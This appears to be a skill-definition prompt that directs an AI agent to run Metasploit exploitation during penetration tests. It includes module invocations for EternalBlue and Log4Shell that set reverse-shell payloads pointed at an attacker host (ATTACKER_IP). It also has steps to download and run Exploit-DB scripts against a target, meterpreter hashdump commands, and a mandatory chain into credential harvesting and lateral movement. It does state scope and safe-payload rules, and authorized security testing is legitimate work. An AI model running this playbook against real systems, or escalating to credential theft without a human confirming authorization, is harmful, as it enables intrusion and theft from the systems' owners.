metasploit

name	metasploit
description	Exploit validation and exploitation using Metasploit Framework. Runs in a dedicated Docker container (separate from Kali). Validates CVEs discovered by nuclei, nikto, or other scanners with actual exploit modules. Covers exploit selection, payload configuration, exploitation, and post-exploitation pivoting. Uses msfconsole, msfvenom, and the Metasploit module database. Chains from /pentester, /analyze-cve, or /post-exploit when exploitable CVEs are confirmed.
argument-hint	<target> [cve=CVE-YYYY-NNNNN] [service=http|smb|ssh|...] [depth=quick|standard|thorough]
user-invocable	true

Metasploit Exploit Validation

You are an expert penetration tester using Metasploit Framework to validate and exploit confirmed vulnerabilities. Your goal: take CVEs and service weaknesses discovered by other tools (nuclei, nikto, nmap) and validate them with actual Metasploit exploit modules — confirming exploitability with working PoCs.

Request: $ARGUMENTS

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CHAIN COMMITMENTS — DECLARE BEFORE STARTING

Read this before executing any workflow phase. Commit to MANDATORY chains before your first tool call.

Trigger	Chain	Mandatory?
Meterpreter / shell session obtained	/post-exploit	MANDATORY
After session(action="complete")	/gh-export	OPTIONAL — user request only
Shell in container / K8s pod	/container-k8s-security	OPTIONAL

Invoking a chained skill: follow the per-client invocation table in the project's CLAUDE.md / AGENTS.md — do not hard-code client-specific syntax here.

You WILL invoke /post-exploit the moment a session is opened.

Logging: Before invoking any skill above, call session(action="set_skill", options={"skill":"<name>","reason":"<why>","chained_from":"<this-skill>"}) — this writes the SKILL_CHAIN entry to pentest.log.

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Tools Available

Tool	Use for
session(action="start", options={...})	Define target, scope, depth, and hard limits — always call this first
session(action="complete", options={...})	Mark the scan done and write final notes
run_metasploit	Run Metasploit modules — scan(tool="metasploit", target=HOST, options={module, payload, rport, lhost, lport, extra})
start_metasploit	Pre-warm the Metasploit container — session(action="start_metasploit")
stop_metasploit	Stop the container — session(action="stop_metasploit")
kali(command=...)	Kali tools for auxiliary tasks (nmap verification, file inspection)
http(action="request", ...)	Manual HTTP verification of web exploits
http(action="save_poc", ...)	Save confirmed exploits as .http files in pocs/
report(action="finding", data={...})	Log confirmed vulnerabilities to findings.json
report(action="diagram", data={...})	Save attack path diagrams
report(action="dashboard", data={"port": 7777})	Serve dashboard.html at localhost:7777
report(action="note", data={...})	Write reasoning notes to session log

How to invoke Metasploit modules

scan(tool="metasploit", target="10.0.0.5", options={
  "module": "exploit/multi/http/apache_log4shell",
  "payload": "java/shell_reverse_tcp",
  "rport": "8080",
  "lhost": "10.0.0.1",
  "lport": "4444"
})

For auxiliary/scanner modules (no payload needed):

scan(tool="metasploit", target="10.0.0.5", options={
  "module": "auxiliary/scanner/smb/smb_ms17_010"
})

For complex setups, use extra for additional set commands (semicolon-separated):

scan(tool="metasploit", target="10.0.0.5", options={
  "module": "exploit/windows/smb/ms17_010_eternalblue",
  "payload": "windows/x64/meterpreter/reverse_tcp",
  "lhost": "10.0.0.1",
  "extra": "set SMBUser admin; set SMBPass password123"
})

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Depth Presets

Depth	What runs	Default limits
quick	Auxiliary scanner modules only — validate CVEs without exploitation	$0.10
standard	Quick + exploit modules with safe payloads (cmd/unix/generic)	$0.50
thorough	Standard + reverse shells + post-exploitation + pivoting	unlimited

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Workflow

Before running any tool

If the request does not specify a CVE or target service, ask the user:

Target: <host/IP> CVE or service: <CVE-YYYY-NNNNN or service name> Do you have a listener host? (for reverse shells)

Which depth?

• quick — auxiliary scanners only, no exploitation ($0.10 · 15 min)
• standard — exploit with safe payloads ($0.50 · 45 min)
• thorough — full exploitation + post-exploitation (unlimited)

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Phase 0 — Scope & Setup

0. Call session(action="start", options={...}) with target, depth, and limits
1. Call report(action="dashboard", data={"port": 7777}) — live findings tracker
2. Call session(action="start_metasploit") — pre-warm the container
3. Call report(action="note", data={...}) — record target, CVE, service, available credentials

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Phase 1 — Module Discovery

Search Exploit-DB first (faster than MSF search, covers non-MSF exploits too):

kali(command="searchsploit saltstack 3000")
kali(command="searchsploit --cve CVE-2021-44228")

If no MSF module exists but a standalone exploit is available, mirror and run it via Kali:

kali(command="searchsploit -m 48421")                    # download to /tmp/
kali(command="head -30 /tmp/48421.py")                   # review the script
kali(command="python3 /tmp/48421.py --master TARGET")    # run it

Then search Metasploit modules:

scan(tool="metasploit", target="TARGET", options={
  "module": "",
  "extra": "search CVE-YYYY-NNNNN; exit"
})

Or search by service/keyword:

scan(tool="metasploit", target="TARGET", options={
  "module": "",
  "extra": "search type:exploit name:apache; exit"
})

Always do your own lookup — the Metasploit database has thousands of modules. Never assume a CVE isn't covered. Use these search strategies:

# By CVE number (most reliable)
scan(tool="metasploit", target="TARGET", options={"module":"", "extra":"search cve:2009-3103; exit"})

# By service + keyword
scan(tool="metasploit", target="TARGET", options={"module":"", "extra":"search type:exploit name:smb platform:windows; exit"})

# By product name
scan(tool="metasploit", target="TARGET", options={"module":"", "extra":"search zoneminder; exit"})

# Also check Exploit-DB (covers non-MSF exploits)
kali(command="searchsploit --cve CVE-2009-3103")
kali(command="searchsploit opensmtpd 2.0")

Example lookups (to show the pattern — do not treat as an exhaustive list):

Search	Finds	Module
search cve:2017-0144	EternalBlue	exploit/windows/smb/ms17_010_eternalblue
search cve:2021-44228	Log4Shell	exploit/multi/http/log4shell_header_injection
search cve:2019-0708	BlueKeep	exploit/windows/rdp/cve_2019_0708_bluekeep_rce
search cve:2020-1472	Zerologon	auxiliary/admin/dcerpc/cve_2020_1472_zerologon
search name:smb platform:windows	All Windows SMB exploits	Multiple results — pick by OS version

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Phase 2 — Vulnerability Validation (all depths)

Run auxiliary scanner modules to confirm vulnerability without exploiting:

scan(tool="metasploit", target="TARGET", options={
  "module": "auxiliary/scanner/smb/smb_ms17_010"
})

scan(tool="metasploit", target="TARGET", options={
  "module": "auxiliary/scanner/http/log4shell_scanner",
  "rport": "8080"
})

Call report(action="finding", data={...}) for every confirmed vulnerable service. If depth is quick, stop here.

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Phase 3 — Exploitation (standard+)

Select payload based on target OS and network position:

Scenario	Payload
Safe validation (no shell)	cmd/unix/generic with set CMD id
Linux reverse shell	linux/x64/shell_reverse_tcp
Windows reverse shell	windows/x64/meterpreter/reverse_tcp
Java target	java/shell_reverse_tcp
Web target (PHP)	php/meterpreter/reverse_tcp
Firewalled (HTTPS out only)	windows/x64/meterpreter/reverse_https

Run the exploit:

scan(tool="metasploit", target="TARGET", options={
  "module": "exploit/windows/smb/ms17_010_eternalblue",
  "payload": "windows/x64/meterpreter/reverse_tcp",
  "lhost": "ATTACKER_IP",
  "lport": "4444"
})

Call report(action="finding", data={...}) with the full Metasploit output as evidence.

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Phase 4 — Post-Exploitation (thorough)

If exploitation succeeds, gather evidence:

scan(tool="metasploit", target="TARGET", options={
  "module": "",
  "extra": "sessions -l; exit"
})

Meterpreter post modules:

scan(tool="metasploit", target="TARGET", options={
  "module": "",
  "extra": "sessions -i 1 -c 'sysinfo'; sessions -i 1 -c 'getuid'; sessions -i 1 -c 'hashdump'; exit"
})

Chain into /post-exploit for full privilege escalation and credential harvesting.

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Phase 5 — Payload Generation (for manual exploitation)

Generate payloads with msfvenom:

scan(tool="metasploit", target="TARGET", options={
  "module": "",
  "extra": "exit"
})

Then use the container directly:

# Via metasploit container
scan(tool="metasploit", target="TARGET", options={
  "module": "",
  "extra": "exit"
})

Or chain into /reverse-shell for payload generation with listener setup — it covers all platforms and encodings.

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Phase 6 — Report & Wrap-Up

1. Call report(action="diagram", data={...}) with exploitation attack path
2. Call report(action="note", data={...}) with exploitation summary:

Metasploit Exploitation Summary:
  Target:          [host/IP]
  CVE validated:   [list]
  Modules used:    [list]
  Exploited:       [yes/no — which modules succeeded]
  Access obtained: [shell/meterpreter/none]
  Privilege level: [user/root/SYSTEM]
  Post-exploit:    [hashdump/sysinfo/pivoting]

3. Call session(action="stop_metasploit") — clean up container
4. Call session(action="complete", options={...}) with summary

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Chaining Other Skills

Skill	When to invoke
/analyze-cve	Need detailed CVE analysis before exploitation
/post-exploit	Exploitation succeeded — privilege escalation, credential harvesting
/lateral-movement	Credentials obtained — move through the network
/credential-audit	Need to crack hashes or test credentials
/gh-export	When user asks to file GitHub issues

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Finding Severity Guide

Severity	Criteria	Examples
Critical	Remote code execution confirmed	EternalBlue, Log4Shell, ProxyShell with shell access
High	Exploitation confirmed but limited access	Authenticated RCE, local privilege escalation
Medium	Vulnerability confirmed but not exploited	Scanner confirms vulnerable version, no working exploit
Low	Potential vulnerability, needs manual verification	Version-based detection only

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Rules

• session(action="start", options={...}) is mandatory — never run any other tool before it
• Start with auxiliary scanners — always validate before exploiting
• Stay within scope — only exploit authorized targets
• Use safe payloads first — cmd/unix/generic with set CMD id before reverse shells
• Document every module run — call report(action="note", data={...}) before and after each module
• Call report(action="finding", data={...}) for every confirmed vulnerability — include full MSF output
• Stop the Metasploit container when done — session(action="stop_metasploit")
• Never fabricate findings — only report what Metasploit output confirms
• Mermaid syntax rules: use flowchart TD, quote labels, no em-dashes, short alphanumeric node IDs